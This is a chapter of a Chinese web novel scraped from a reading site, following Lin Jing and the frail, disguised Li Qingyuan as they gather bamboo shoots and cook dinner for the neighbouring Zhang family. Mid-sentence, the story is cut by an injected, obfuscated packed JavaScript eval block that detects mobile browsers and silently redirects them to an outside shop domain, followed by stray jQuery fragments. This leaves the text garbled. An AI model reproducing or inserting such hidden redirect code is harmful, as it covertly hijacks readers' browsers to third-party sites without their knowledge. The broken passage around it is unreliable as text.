文趣网 > 其他小说 > 娘子掏出来比我还大 > 35. 第三十五章
    下午,林镜和阿荔一人背了个背篼,朝自家竹林走去。

    山桃村靠林家这面的山坡上,自山腰往上走,一直到山顶,皆是有主的林地。

    其中靠村口的一半都是各种各样的竹子,有林镜的,也有别人家的。

    林镜分得的那十亩林地刚好在正中央,其中三分之一都生长着各种各样的竹子。

    附近的山坡上生长着许多野山杏和毛桃树,山桃村也是因此而得名。

    路过自家林地时,林镜往杏桃林看了一眼,这时节杏花和桃花都已经开败了,毛桃树结着一个个拇指大小的青果,杏树的果子还小,隐在叶丛中看不清。

    林镜指着那边,对阿荔道:“那边那一片都是我们家的,等五六月间可以来摘杏子和桃子吃。”

    说罢,他又回头看向默默跟在自己身后的人,“你喜欢吃果子吗?”

    厉卿沅身子骨弱,走上坡路有些费劲,正憋着劲勉力跟上林镜的脚步,闻言喘了口粗气抬起头来,草草点头。

    林镜见状,朝他伸出一只手,厉卿沅犹豫了一瞬,还是将手搭在他手心,任由青年拉着自己往上走。

    有林镜拉拽着,两人很快进到竹林里。

    这一大片竹林都是林镜祖父辈栽种的了,生长得格外茂密,竹鞭窜得快,有的甚至几样品种交错生长在一起,连过人都费劲。

    两人找到楠竹林,挑拣着只有半人高的毛竹笋,很快就砍了满满一背篼竹笋。

    有的竹笋已然窜得老高,开始生出枝芽,腰身上挂着一片片要掉不掉的笋壳叶。

    林镜挑了一些大片又完整的笋壳叶,随手掰断一根桑枝,剥下上头的皮当绳子,捆了一捆。

    阿荔坐在他找来的石头上用小刀在剥笋,见他这般动作,投来疑惑的视线。

    楠竹又称毛竹,笋壳上全是细密的绒毛,又韧劲十足不易干,烧也不好烧,绒毛弄到身上还容易发痒。

    也不知林镜弄来干嘛。

    林镜接收到视线,解释道:“拿回去洗干净晒干,等端阳可以包粽子。”

    粽子?厉卿沅更疑惑了,他指着不远处的粽竹:‘粽子不是用粽叶来包的吗?’

    前世跟随林松去任职地,那里的百姓便习惯用宽竹叶包粽子,小巧精致的一个,带着竹叶的清香。

    林镜知晓阿荔想说什么,拎起捆扎好的笋壳叶,在她眼前晃了晃,“竹叶包的粽子太小,吃三五个都不够一顿的,我们这边都是用这个,只有街上的爱用小叶子。”

    用毛竹叶包粽子,一个少说也得用半斤糯米,一般人家顶多也就包上三五个,一人吃一个意思一下就算了。

    林镜捡了不少毛竹叶,想着自家用不完,说不定可以拿去镇上卖。

    这些话他原原本本的和阿荔说了,厉卿沅点点头,两人便坐下一块儿剥笋。

    一背篼竹笋,最后剥出来的笋肉连一半都没有,两人弄了些楠竹笋,又去不远处掰了不少水竹笋。

    水竹笋拇指粗细一根,笋壳薄,一根剥出来能剩个三分之二。

    唯一的缺点就是水竹生长得密集,又矮,人只能弯着腰或者蹲在地上往里钻。

    没一会儿厉卿沅就有些受不住了。

    他本就重伤初愈,饶是林镜三天两头的弄些肉荤给他打牙祭,身上也没养出多少肉来,做点什么都觉得胸闷气虚。

    他暗自懊恼,早知道这样便不来了,忙没帮上多少,连累林镜时不时便要回头拉他一把。

    可转念一想,自己也不能一味地指望林镜照顾自己,便还是咬着牙继续坚持,动作虽说慢些,总归是有点收获的。

    两人在竹林里忙活好半晌,才赶在饭点前满载而归。

    说是满载而归也不尽然,因为厉卿沅的背篼只装了一半。

    他倒是想像林镜那样把背篼填满再走,可林镜说什么也不同意,还捡了不少剥好的竹笋放自己背篼里,用桑皮捆着背回来。

    竹笋太多,全焯水浸在盆子里也只能吃个两三日,时间一长就坏了,林镜想了想,决定将一部分晒成笋干。

    他去张家借了两个晒东西的簸箕,将竹笋破开切条,倒进开水里迅速过了一遍断生,便捞起来铺在簸箕里,拿到一旁晾晒着。

    然后宰了只兔子开始做饭,厉卿沅依旧坐在灶孔边帮忙烧火,手里还拿着一颗蒜小心翼翼地剥着皮。

    素菜和汤同中午一样,只是周围嫩点的荠菜都被挖完了,剩下那些老得猪都不肯吃,打汤的野菜便换成了车前草。

    除此之外,便是竹笋烧兔肉,以及一盘凉拌苦笋。

    菜还未出锅,那边张成江把挑篮往土堆上一扔,便朝这边走来了。

    “丧德哦,车前草煮汤,吃了怕是要来尿!”张成江望着那盆车前草蛋花汤直摇头,“我就不该对你的厨艺有期待。”

    林镜白了他一眼,从锅里挑出一块没有骨头的兔肉塞他手里,“吃都堵不住你的嘴。”

    一边和张成江拌嘴,他一边又用锅铲挑了块更大些的兔肉,举过灶台,递到阿荔面前。

    “本来就是,车前草吃了尿多的很,你忘了,小时候……”

    “闭嘴!”知晓他接下来要说什么,林镜瞬间涨红了脸,忙不迭捂住那张喋喋不休的嘴。

    两人自小一块儿长大,自然知道对方不少糗事,他出言威胁:“你再说,我就把你嗯嗯嗯的事说出来。”

    中间那段话说得含糊,但张成江闻言立马拱手抱拳开始讨饶。

    厉卿沅细细咀嚼着林镜投喂过来的兔肉,在一旁看着两人的互动,大致也能猜到他们互相握着的把柄不过是孩提时那些微不足道的糗事。

    可两人的关系却是让人羡慕。

    张成江会在林镜落难时第一个伸出援手,也会在他需要帮助时无条件主动跑来帮忙。

    而林镜对他似乎从来不会客气,觉得你帮我、我帮你都是应当的。

    这样的感情,不是亲兄弟,却胜过血脉关系。

    厉卿沅突然回想起家中落难之前,自己也曾给昔日同窗好友写信求助过。

    可那些人对他却是避之如蛇蝎,更有甚者,连信都没拆开,原封不动的送了回来。

    真真是应了那一句:仗义每多屠狗辈,负心最是读书人。

    往事已矣,思绪回转。

    他有些羡慕地看着对面两人打闹,却在林镜将手贴在张成江嘴上时,突兀地却得这副画面有些碍眼。

    好在林镜很快就收回了手,支使着张成江把菜端上桌。

    张成江端起那盘分量不多的凉拌苦笋,忍不住捻了一片放进嘴里,喟叹一声:“就是这个味儿!”

    “你在哪里找的苦笋哦?我家那几窝都长成竹子了。”

    “坡上,拢共

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690263|206800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就这点,今年没得了。”林镜斜睨他一眼,吐槽道:“丫鬟投胎的啊,没规矩得,用手捻菜。”

    “说些屁话,我堂堂七尺男儿,咋个也是小厮投胎的撒。”

    “难得跟你灯拉荡拉的,你好久过来的安?”

    “我在姻叔屋头吃完晌午就回来了,到这没看到你人,汉星叔说你掰笋子去了,我就和他一起去挑土了撒。”

    说话间,那边林汉星等人也挑着今日最后一挑黄泥下了山。

    厉卿沅连忙打了水给他们洗手,林汉星走过来跟林镜汇报进度。

    “泥巴挑得差不多了,明天就准备筛土和泥,开始砌墙了。”

    “嗯,要得,辛苦你们了,堂叔。”林镜点点头,又留他吃饭。

    林汉星连连摆手,“说好只包晌午一顿的,晚上屋头都弄了饭,你们吃。”

    其他几人也十分自觉,虽是眼馋林镜新做的兔子肉,但都摇头表示不必,洗干净手便结伴离开了,任林镜再三邀请也没留下来吃饭。

    林汉星又和林镜交涉了一番,让他最晚这两三日便要把门框和窗框拿回来,便追上同伴的脚步也离开了。

    等人一走,林镜这才去了张家,把一家人请过来吃饭。

    下午他去借簸箕的时候便和林氏打了招呼,她也没做饭,一家人除却去娘家探亲的张成山三口,其他人热热闹闹地朝这边走来。

    张德新和张成江没第一时间上桌,而是去看了一眼林镜准备的地基,父子俩嘀嘀咕咕评头论足了一番。

    最终得出结论,这房子修起来定然宽敞方正,住着舒坦。

    林氏帮着阿荔拿了碗筷,才拉着她的手,拍着手背,“幺妹,劳慰你了,一个人操持恁大一桌饭菜,明天你嫂子就回来了,我让她来帮你打下手。”

    泥瓦匠的工钱是按天结算,材料费另外给,通常要修建房屋的人家都会帮着一起干活,能少出一日的工钱算一日。

    做饭这种事也都是妇人的活,阿荔和林镜虽然还没正式成亲,但村里人都默认了她是这家的人,林氏也只当林镜今天干了一天的活,饭都是阿荔做的。

    但她压根儿没想到,这姑娘看着瘦瘦高高的,一副吃过不少苦的样子,其实连饭都不会做。

    厉卿沅被林氏拉着手语重心长,整个人僵在那里,手抽回来也不是,不抽回来也不是,只得朝林镜投去求助的眼神。

    林镜:……

    他一时间也不知道该说些什么,要说阿荔不会做饭吧,林氏一个传统妇人,难免会看轻她。

    不说吧,真让李氏来给她打下手,怕是到洗菜那一步就得露馅儿。

    想了想,他道:“三嬢,阿荔手艺一般,嫂子要来帮忙的话,让她掌灶,等阿荔打下手学一学。”

    他倒是也没拒绝林氏让李氏来帮忙的好意,毕竟自己就算出言婉拒,也拗不过林氏。

    “好久开饭哦主人家,饿了!”张成江自然知道这饭是林镜做的,也明白自家老母亲有时候对女孩子的要求和看法有些苛刻,并没有拆穿两人,反而吆喝着解围。

    果然,林氏瞬间被转移了注意力,甩过去一记眼刀,“一天到黑饿死鬼投身的一样,只晓得吃!”

    林镜见状,连忙招呼着几人吃饭,林氏这才走到张德新身侧,矜持地坐下。

    长辈已然上座,其余人也迅速围拢开始吃饭。